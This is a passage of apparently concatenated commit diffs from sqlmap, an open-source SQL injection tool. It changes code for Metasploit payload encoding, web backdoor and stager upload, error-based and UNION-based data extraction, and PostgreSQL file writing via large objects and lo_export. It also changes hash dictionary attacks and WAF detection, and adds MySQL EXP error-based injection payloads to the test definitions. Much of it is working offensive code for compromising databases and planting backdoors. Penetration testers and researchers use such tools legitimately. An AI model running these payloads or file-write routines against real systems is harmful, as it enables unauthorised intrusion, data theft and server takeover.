self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self._payloadCmd += " %s" % extra
if extra is not None:
self._payloadCmd += " %s" % extra
else:
self._payloadCmd += " X > \"%s\"" % outFile
else:
self._payloadCmd += " X > \"%s\"" % outFile
if extra == "BufferRegister=EAX":
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
if extra is not None:
self._payloadCmd += " %s" % extra
else:
self._payloadCmd += " -f exe > \"%s\"" % outFile
def _runMsfCliSmbrelay(self):
self._forgeMsfCliCmdForSmbrelay()

View File

@ -361,6 +361,9 @@ class UDF:
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
if not isinstance(choice, int):
break
cmd = ""
count = 1
udfToCall = udfList[choice - 1]

View File

@ -205,7 +205,6 @@ class Web:
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
@ -263,8 +262,8 @@ class Web:
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@ -357,6 +356,4 @@ class Web:
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break

View File

@ -212,7 +212,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return not result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
@ -310,7 +310,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
if retried < MAX_TIME_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
@ -324,7 +324,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)

View File

@ -35,10 +35,11 @@ from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
from lib.core.settings import NULL
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
@ -50,7 +51,7 @@ from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar
def _oneShotErrorUse(expression, field=None):
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None):
threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
else:
chunk_length = None
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if result and testChar in result:
if result == testChar * current:
kb.errorChunkLength = current
break
else:
current = len(result) - len(kb.chars.stop)
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None):
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
@ -125,10 +142,11 @@ def _oneShotErrorUse(expression, field=None):
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None):
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break

View File

@ -81,73 +81,74 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return found
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
try:
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1:
found = kb.orderByColumns or _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
singleTimeLogMessage(infoMsg)
return found
if lowerCount == 1:
found = kb.orderByColumns or _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
singleTimeLogMessage(infoMsg)
return found
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO
pages = {}
min_, max_ = MAX_RATIO, MIN_RATIO
pages = {}
for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
if not isNullValue(kb.uChar):
pages[count] = page
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
if not isNullValue(kb.uChar):
pages[count] = page
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
if len(filter(lambda x: x[1], contains)) == 1:
retVal = filter(lambda x: x[1], contains)[0][0]
break
if not isNullValue(kb.uChar):
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
if len(filter(lambda x: x[1], contains)) == 1:
retVal = filter(lambda x: x[1], contains)[0][0]
break
if not retVal:
ratios.pop(ratios.index(min_))
ratios.pop(ratios.index(max_))
if not retVal:
ratios.pop(ratios.index(min_))
ratios.pop(ratios.index(max_))
minItem, maxItem = None, None
minItem, maxItem = None, None
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if all(map(lambda x: x == min_ and x != max_, ratios)):
retVal = maxItem[0]
if all(map(lambda x: x == min_ and x != max_, ratios)):
retVal = maxItem[0]
elif all(map(lambda x: x != min_ and x == max_, ratios)):
retVal = minItem[0]
elif all(map(lambda x: x != min_ and x == max_, ratios)):
retVal = minItem[0]
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
kb.errorIsNone = popValue()
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
finally:
kb.errorIsNone = popValue()
if retVal:
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal

View File

@ -8,14 +8,11 @@ See the file 'doc/COPYING' for copying permission
import logging
import os
import shutil
import sqlite3
import sys
import tempfile
import time
from subprocess import PIPE
from lib.core.common import unArrayizeValue
from lib.core.convert import base64pickle
from lib.core.convert import hexencode
@ -156,11 +153,12 @@ class Task(object):
def engine_start(self):
self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)],
shell=False, stdin=PIPE, close_fds=not IS_WIN)
shell=False, close_fds=not IS_WIN)
def engine_stop(self):
if self.process:
return self.process.terminate()
self.process.terminate()
return self.process.wait()
else:
return None
@ -169,7 +167,8 @@ class Task(object):
def engine_kill(self):
if self.process:
return self.process.kill()
self.process.kill()
return self.process.wait()
else:
return None

View File

@ -5,7 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import codecs
import httplib
import os
import re
@ -19,13 +18,11 @@ from lib.core.common import findPageForms
from lib.core.common import openFile
from lib.core.common import readInput
from lib.core.common import safeCSValue
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.parse.sitemap import parseSitemap

View File

@ -31,7 +31,7 @@ from lib.request.httpshandler import HTTPSHandler
class Google(object):
"""
This class defines methods used to perform Google dorking (command
line option '-g <google dork>'
line option '-g <google dork>')
"""
def __init__(self, handlers):

View File

@ -59,7 +59,6 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import HASH
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
from lib.core.settings import COMMON_USER_COLUMNS
@ -668,8 +667,9 @@ def dictionaryAttack(attack_dict):
hash_regexes = []
results = []
resumes = []
processException = False
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
@ -693,6 +693,7 @@ def dictionaryAttack(attack_dict):
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
@ -770,7 +771,7 @@ def dictionaryAttack(attack_dict):
except Exception, ex:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % ex
warnMsg += " ('%s')" % ex.message
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
@ -955,9 +956,8 @@ def dictionaryAttack(attack_dict):
results.extend(resumes)
if len(hash_regexes) == 0:
warnMsg = "unknown hash format. "
warnMsg += "Please report by e-mail to 'dev@sqlmap.org'"
if foundHash and len(hash_regexes) == 0:
warnMsg = "unknown hash format"
logger.warn(warnMsg)
if len(results) == 0:

View File

@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission
import imp
import logging
import os
import re
import sys
import warnings

View File

@ -14,6 +14,7 @@ from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf
@ -136,7 +137,7 @@ class Enumeration(GenericEnumeration):
tables = []
for index in xrange(int(count)):
_ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index
_ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index)
table = inject.getValue(_, union=False, error=False)
if not isNoneValue(table):

View File

@ -343,7 +343,6 @@ class Filesystem(GenericFilesystem):
logger.info(infoMsg)
chunkMaxSize = 500
dFileName = ntpath.basename(dFile)
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)

View File

@ -7,6 +7,8 @@ See the file 'doc/COPYING' for copying permission
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
@ -97,8 +99,11 @@ class Filesystem(GenericFilesystem):
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
pushValue(kb.forceWhere)
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
unionUse(sqlQuery, unpack=False)
kb.forceWhere = popValue()
warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from UNION query"

View File

@ -8,15 +8,16 @@ See the file 'doc/COPYING' for copying permission
import os
from lib.core.common import randomInt
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import LOBLKSIZE
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
self.oid = None
self.page = None
GenericFilesystem.__init__(self)
@ -35,34 +36,13 @@ class Filesystem(GenericFilesystem):
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
wFileSize = os.path.getsize(wFile)
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise SqlmapUnsupportedFeatureException(errMsg)
content = open(wFile, "rb").read()
self.oid = randomInt()
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.page = 0
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg)
@ -70,44 +50,27 @@ class Filesystem(GenericFilesystem):
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
debugMsg += "as data"
logger.debug(debugMsg)
for offset in xrange(0, wFileSize, LOBLKSIZE):
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
# Refereces:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
#
# Inject manually into PostgreSQL system table pg_largeobject the
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
# not accept UPDATE into that table for some reason.
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
if banVer >= "9.0":
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
else:
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
inject.goStacked("DELETE FROM %s" % self.fileTblName)
self.page += 1
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

View File

@ -120,9 +120,12 @@ class Custom:
if not sfile:
continue
query = getSQLSnippet(Backend.getDbms(), sfile)
snippet = getSQLSnippet(Backend.getDbms(), sfile)
infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile)
logger.info(infoMsg)
conf.dumper.query(query, self.sqlQuery(query))
if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))):
for query in filter(None, snippet.split(';' if ';' in snippet else '\n')):
query = query.strip()
if query:
conf.dumper.query(query, self.sqlQuery(query))
else:
conf.dumper.query(snippet, self.sqlQuery(snippet))

View File

@ -742,32 +742,33 @@ class Databases:
infoMsg = "enumerating database management system schema"
logger.info(infoMsg)
pushValue(conf.db)
pushValue(conf.tbl)
pushValue(conf.col)
try:
pushValue(conf.db)
pushValue(conf.tbl)
pushValue(conf.col)
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
self.getTables()
self.getTables()
infoMsg = "fetched tables: "
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
kb.data.cachedTables.items()])
logger.info(infoMsg)
infoMsg = "fetched tables: "
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
kb.data.cachedTables.items()])
logger.info(infoMsg)
for db, tables in kb.data.cachedTables.items():
for tbl in tables:
conf.db = db
conf.tbl = tbl
for db, tables in kb.data.cachedTables.items():
for tbl in tables:
conf.db = db
conf.tbl = tbl
self.getColumns()
conf.col = popValue()
conf.tbl = popValue()
conf.db = popValue()
self.getColumns()
finally:
conf.col = popValue()
conf.tbl = popValue()
conf.db = popValue()
return kb.data.cachedColumns

View File

@ -341,13 +341,13 @@ class Entries:
attackDumpedTable()
except (IOError, OSError), ex:
errMsg = "an error occurred while attacking "
errMsg += "table dump ('%s')" % ex
errMsg += "table dump ('%s')" % ex.message
logger.critical(errMsg)
conf.dumper.dbTableValues(kb.data.dumpedTable)
except SqlmapConnectionException, ex:
errMsg = "connection exception detected in dumping phase "
errMsg += "('%s')" % ex
errMsg += "('%s')" % ex.message
logger.critical(errMsg)
finally:

View File

@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
"""
import os
import sys
from lib.core.agent import agent
from lib.core.common import dataToOutFile
@ -13,6 +14,7 @@ from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import decloakToTemp
from lib.core.common import decodeHexValue
from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue
from lib.core.common import isListLike
from lib.core.common import isStackingAvailable
@ -42,7 +44,7 @@ class Filesystem:
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
@ -62,6 +64,7 @@ class Filesystem:
if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize)
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
sameFile = False
if localFileSize == remoteFileSize:
@ -105,20 +108,27 @@ class Filesystem:
return sqlQueries
def fileEncode(self, fileName, encoding, single):
def fileEncode(self, fileName, encoding, single, chunkSize=256):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
retVal = []
with open(fileName, "rb") as f:
content = f.read().encode(encoding).replace("\n", "")
content = f.read()
return self.fileContentEncode(content, encoding, single, chunkSize)
def fileContentEncode(self, content, encoding, single, chunkSize=256):
retVal = []
if encoding:
content = content.encode(encoding).replace("\n", "")
if not single:
if len(content) > 256:
for i in xrange(0, len(content), 256):
_ = content[i:i + 256]
if len(content) > chunkSize:
for i in xrange(0, len(content), chunkSize):
_ = content[i:i + chunkSize]
if encoding == "hex":
_ = "0x%s" % _
@ -232,7 +242,7 @@ class Filesystem:
fileContent = newFileContent
if fileContent is not None:
fileContent = decodeHexValue(fileContent)
fileContent = decodeHexValue(fileContent, True)
if fileContent:
localFilePath = dataToOutFile(remoteFile, fileContent)

View File

@ -715,16 +715,13 @@ updateAll = False
[Miscellaneous]
# Use short mnemonics (e.g. "flu,bat,ban,tec=EU").
mnemonics =
# Run host OS command(s) when SQL injection is found.
alert =
# Set question answers (e.g. "quit=N,follow=N").
answers =
# Make a beep sound when SQL injection is found.
# Beep on question and/or when SQL injection is found.
# Valid: True or False
beep = False
@ -757,6 +754,10 @@ identifyWaf = False
# Valid: True or False
mobile = False
# Work in offline mode (only use session data)
# Valid: True or False
offline = False
# Display page rank (PR) for Google dork results.
# Valid: True or False
pageRank = False

View File

@ -12,7 +12,6 @@ import os
import re
import shutil
import sys
import tempfile
import time
import traceback
import warnings
@ -28,7 +27,6 @@ from lib.core.common import createGithubIssue
from lib.core.common import dataToStdout
from lib.core.common import getUnicode
from lib.core.common import maskSensitiveData
from lib.core.common import setColor
from lib.core.common import setPaths
from lib.core.common import weAreFrozen
from lib.core.data import cmdLineOptions
@ -62,7 +60,7 @@ def modulePath():
except NameError:
_ = inspect.getsourcefile(modulePath)
return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding())
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
def main():
"""
@ -71,6 +69,15 @@ def main():
try:
paths.SQLMAP_ROOT_PATH = modulePath()
try:
os.path.isdir(paths.SQLMAP_ROOT_PATH)
except UnicodeEncodeError:
errMsg = "your system does not properly handle non-ASCII paths. "
errMsg += "Please move the sqlmap's directory to the other location"
logger.error(errMsg)
exit()
setPaths()
# Store original command line options for possible later restoration

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "360 Web Application Firewall (360)"

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Anquanbao Web Application Firewall (Anquanbao)"

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Yunjiasu Web Application Firewall (Baidu)"

View File

@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "EdgeCast WAF (Verizon)"
def detect(get_page):
retval = False
retVal = False
for vector in WAF_ATTACK_VECTORS:
page, headers, code = get_page(get=vector)
retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
if retval:
if retVal:
break
return retval
return retVal

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Safedog Web Application Firewall (Safedog)"

View File

@ -5,9 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.enums import HTTP_HEADER
from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "SEnginx (Neusoft Corporation)"

View File

@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "Sucuri WebSite Firewall"
def detect(get_page):
retval = False
retVal = False
for vector in WAF_ATTACK_VECTORS:
page, headers, code = get_page(get=vector)
retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
if retval:
if retVal:
break
return retval
return retVal

View File

@ -149,6 +149,46 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 OR error-based - WHERE, HAVING clause (EXP)</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
<stype>2</stype>
@ -682,6 +722,26 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 error-based - Parameter replace (EXP)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
